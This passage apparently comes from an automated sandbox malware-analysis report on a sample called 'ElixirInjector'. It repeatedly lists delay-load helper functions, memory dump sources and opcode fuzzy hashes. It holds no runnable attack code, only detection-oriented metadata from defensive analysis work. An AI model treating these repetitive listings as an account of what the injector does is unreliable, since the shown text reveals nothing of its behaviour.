                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                              • String ID:
                                                                                              • API String ID: 1269201914-0
                                                                                              • Opcode ID: 2413193644c51c7d68bea047f3c6088f5c147bccc70ce864f2f6654deb3fed3d
                                                                                              • Instruction ID: 59131fef6bfde05c61ab74f2f0d1d5c5dcbed64563a91970e69e5cbcc87c723c
                                                                                              • Opcode Fuzzy Hash: 2413193644c51c7d68bea047f3c6088f5c147bccc70ce864f2f6654deb3fed3d
                                                                                              • Instruction Fuzzy Hash: 5BB012D6259120FC310412853D12C3B021DC2C2B11330C43FFC45C0481EC80EC003473
                                                                                              Function 00F2EAE7 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00F2EAF9
                                                                                                • Part of subcall function 00F2E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00F2E8D0
                                                                                                • Part of subcall function 00F2E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00F2E8E1
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                              • String ID:
                                                                                              • API String ID: 1269201914-0
                                                                                              • Opcode ID: 440caefb3178159dcbbfe059bccdd611e880eb6a712805271065417d4250bfe3
                                                                                              • Instruction ID: 8dbe3d42b83b01024e2c3e44942dbc273567e65b6e0732cd31c65038562f433a
                                                                                              • Opcode Fuzzy Hash: 440caefb3178159dcbbfe059bccdd611e880eb6a712805271065417d4250bfe3
                                                                                              • Instruction Fuzzy Hash: 3AB012C729B0727C310462003D02C77010CC0C1B90331D02FF908C4082EC854C013873
                                                                                              Function 00F2E2B4 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00F2E1E3
                                                                                                • Part of subcall function 00F2E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00F2E8D0
                                                                                                • Part of subcall function 00F2E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00F2E8E1
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                              • String ID:
                                                                                              • API String ID: 1269201914-0
                                                                                              • Opcode ID: c19fa07a91ee72d93ce2cf281915150e26cb4cfa0a28ed75c84497f565f1d0a7
                                                                                              • Instruction ID: 2c915ba1de94cb914dcd71a6a79ec51aba43740accb6c1d781285a672153d64e
                                                                                              • Opcode Fuzzy Hash: c19fa07a91ee72d93ce2cf281915150e26cb4cfa0a28ed75c84497f565f1d0a7
                                                                                              • Instruction Fuzzy Hash: 48B012D2659010BC314452453D03D7B031CC2C1B11330843FFC09C00C1E880AC003473
                                                                                              Function 00F2E282 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00F2E1E3
                                                                                                • Part of subcall function 00F2E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00F2E8D0
                                                                                                • Part of subcall function 00F2E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00F2E8E1
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                              • String ID:
                                                                                              • API String ID: 1269201914-0
                                                                                              • Opcode ID: 759e1666234b18cd424cd1dce0c71b9122d453761b9abf9b9421b650b46c23c3
                                                                                              • Instruction ID: 159c3d9206be1dc155b3a22832aa37a342c3f584f7b9778d7bc01cff77d70f96
                                                                                              • Opcode Fuzzy Hash: 759e1666234b18cd424cd1dce0c71b9122d453761b9abf9b9421b650b46c23c3
                                                                                              • Instruction Fuzzy Hash: F4B012E2359020BC314452453E02D3B029CC2C1B11330803FFC09C0081EC80AD013473
                                                                                              Function 00F2E264 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00F2E1E3
                                                                                                • Part of subcall function 00F2E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00F2E8D0
                                                                                                • Part of subcall function 00F2E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00F2E8E1
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                              • String ID:
                                                                                              • API String ID: 1269201914-0
                                                                                              • Opcode ID: f695f7b8bd69f21a3a7fc7ef9d6aa25b2284c8b8a2ce61d58b05df72c025d58d
                                                                                              • Instruction ID: 39c28c25f550508df4275737778f54f0422a1e919053364d027192ce9478e028
                                                                                              • Opcode Fuzzy Hash: f695f7b8bd69f21a3a7fc7ef9d6aa25b2284c8b8a2ce61d58b05df72c025d58d
                                                                                              • Instruction Fuzzy Hash: 7DB012D226A050BC314452453D02D3B035DC6C1B11330803FFC0AC0081E890AC003473
                                                                                              Function 00F2E26E Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00F2E1E3
                                                                                                • Part of subcall function 00F2E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00F2E8D0
                                                                                                • Part of subcall function 00F2E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00F2E8E1
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                              • String ID:
                                                                                              • API String ID: 1269201914-0
                                                                                              • Opcode ID: 79099313e05fa00f74bfe180effdfb89ac85b07027fd4760c6b96f59f53e35dc
                                                                                              • Instruction ID: 0a2b2ef302af955ea0deee9e7f74912130622a26280aa01b64640e7d74d911da
                                                                                              • Opcode Fuzzy Hash: 79099313e05fa00f74bfe180effdfb89ac85b07027fd4760c6b96f59f53e35dc
                                                                                              • Instruction Fuzzy Hash: D1B012D2359010BC314452553D02D3B025CC2C2B11330C03FFC49C0081E880EC003473
                                                                                              Function 00F2E250 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00F2E1E3
                                                                                                • Part of subcall function 00F2E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00F2E8D0
                                                                                                • Part of subcall function 00F2E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00F2E8E1
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                              • String ID:
                                                                                              • API String ID: 1269201914-0
                                                                                              • Opcode ID: 82517addf69ad692815c49fca4db098688498e5597eed95f6c378a2a4f1fcc86
                                                                                              • Instruction ID: 1448b0b419d43ed4963a6ba4b1e559dbda577d35b1da15feaee45f345136a1b0
                                                                                              • Opcode Fuzzy Hash: 82517addf69ad692815c49fca4db098688498e5597eed95f6c378a2a4f1fcc86
                                                                                              • Instruction Fuzzy Hash: D7B012E225A150BC318453453D02D3B021DC2C1B11330813FFC09C0481E890AC443473
                                                                                              Function 00F2E246 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00F2E1E3
                                                                                                • Part of subcall function 00F2E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00F2E8D0
                                                                                                • Part of subcall function 00F2E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00F2E8E1
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                              • String ID:
                                                                                              • API String ID: 1269201914-0
                                                                                              • Opcode ID: 7309c87647e8693cd061a63a76f2cf35fe76c31ccddb51af901c2b9ad02af738
                                                                                              • Instruction ID: d34d32543598b4f2baa57ae2a7568b889e3ec8e3215990d3fd93b55eb094ebfc
                                                                                              • Opcode Fuzzy Hash: 7309c87647e8693cd061a63a76f2cf35fe76c31ccddb51af901c2b9ad02af738
                                                                                              • Instruction Fuzzy Hash: 88B012D225A050BC314452453D02D3B021DC2C2B11330C03FFC49C0081E890EC003473
                                                                                              Function 00F2E232 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00F2E1E3
                                                                                                • Part of subcall function 00F2E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00F2E8D0
                                                                                                • Part of subcall function 00F2E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00F2E8E1
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                              • String ID:
                                                                                              • API String ID: 1269201914-0
                                                                                              • Opcode ID: 98325dd412a744437d4caea67ad9e4e5c4cbdeb6f803a76c473923d8d0657ae8
                                                                                              • Instruction ID: abaa6a6dc71df354006473619717d2655e34e5aa5cedc23fc8878fa1b05c216d
                                                                                              • Opcode Fuzzy Hash: 98325dd412a744437d4caea67ad9e4e5c4cbdeb6f803a76c473923d8d0657ae8
                                                                                              • Instruction Fuzzy Hash: 0FB012E2259020BC314452453E02D3B021CC2C1F11331803FFC09C0081EC80AE013473
                                                                                              Function 00F2E23C Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00F2E1E3
                                                                                                • Part of subcall function 00F2E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00F2E8D0
                                                                                                • Part of subcall function 00F2E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00F2E8E1
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                              • String ID:
                                                                                              • API String ID: 1269201914-0
                                                                                              • Opcode ID: 7f1c9c0b063a7ed56a6662a173bae5c8c706a48fc0615acc31b1407036dec2a7
                                                                                              • Instruction ID: 374b651f183a6b297868a205eb098ebbae4f8f51820670c1c08bdf9d38d4002f
                                                                                              • Opcode Fuzzy Hash: 7f1c9c0b063a7ed56a6662a173bae5c8c706a48fc0615acc31b1407036dec2a7
                                                                                              • Instruction Fuzzy Hash: 11B012E2259010BC314452463D02D3B031CC2C1F11331803FFC09C0081E880AD003473
                                                                                              Function 00F2E228 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00F2E1E3
                                                                                                • Part of subcall function 00F2E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00F2E8D0
                                                                                                • Part of subcall function 00F2E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00F2E8E1
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                              • String ID:
                                                                                              • API String ID: 1269201914-0
                                                                                              • Opcode ID: 8ab1a2c24c30306b92df9df5b55d6cfc493193f743f731ca7e9fe2d6a164a820
                                                                                              • Instruction ID: 13d80cd0c0f0cd0647ed3923fb23c682f0297434b12d0c77e9b98ee8d6427daf
                                                                                              • Opcode Fuzzy Hash: 8ab1a2c24c30306b92df9df5b55d6cfc493193f743f731ca7e9fe2d6a164a820
                                                                                              • Instruction Fuzzy Hash: 66B012E2259110BC318452453D02D3B021CC2C1F11331813FFC09C0481E880AD403473
                                                                                              Function 00F2E21E Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00F2E1E3
                                                                                                • Part of subcall function 00F2E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00F2E8D0
                                                                                                • Part of subcall function 00F2E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00F2E8E1
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                              • String ID:
                                                                                              • API String ID: 1269201914-0
                                                                                              • Opcode ID: f530e74690b62da275c47cf27aa0c6dd25a903c8a38c27c029cf2c5e32567f0f
                                                                                              • Instruction ID: f9cefc27c24f67d46613e79e5d07f31c82602b7af7a961dfdcf70a9f989da4b6
                                                                                              • Opcode Fuzzy Hash: f530e74690b62da275c47cf27aa0c6dd25a903c8a38c27c029cf2c5e32567f0f
                                                                                              • Instruction Fuzzy Hash: C5B012E2259010BC314452453D02D3B021CC2C2F11331C03FFC49C0081E880ED003473
                                                                                              Function 00F2E200 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00F2E1E3
                                                                                                • Part of subcall function 00F2E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00F2E8D0
                                                                                                • Part of subcall function 00F2E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00F2E8E1
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                              • String ID:
                                                                                              • API String ID: 1269201914-0
                                                                                              • Opcode ID: 27a0e8ecdbd2d57a6a345697eae52a9ac924b72a0c137975592d15ed24b08c7f
                                                                                              • Instruction ID: 0d9d06b1bdb1c252af9aad548e3a073269aeed9be0a79d156979bf539573448d
                                                                                              • Opcode Fuzzy Hash: 27a0e8ecdbd2d57a6a345697eae52a9ac924b72a0c137975592d15ed24b08c7f
                                                                                              • Instruction Fuzzy Hash: 8EB012D2359150BC318453453D02D3B021CC2C1B11330C13FFC09C0581E880AC443473
                                                                                              Function 00F2E20A Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00F2E1E3
                                                                                                • Part of subcall function 00F2E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00F2E8D0
                                                                                                • Part of subcall function 00F2E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00F2E8E1
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                              • String ID:
                                                                                              • API String ID: 1269201914-0
                                                                                              • Opcode ID: 5bf05c2593a52365a98b6854580bdbe9e37165b4c482c65f8b2cf8d778621a56
                                                                                              • Instruction ID: 3855b23f89b2a5f6a097fdd8f41967aa56a6a97643df89044d83b2534add3ee2
                                                                                              • Opcode Fuzzy Hash: 5bf05c2593a52365a98b6854580bdbe9e37165b4c482c65f8b2cf8d778621a56
                                                                                              • Instruction Fuzzy Hash: 85B012D2259020BC314453453E02D3B021CC2C1B11330C03FFC09C0181EC90AD093473
                                                                                              Function 00F2E44B Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00F2E3FC
                                                                                                • Part of subcall function 00F2E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00F2E8D0
                                                                                                • Part of subcall function 00F2E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00F2E8E1
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
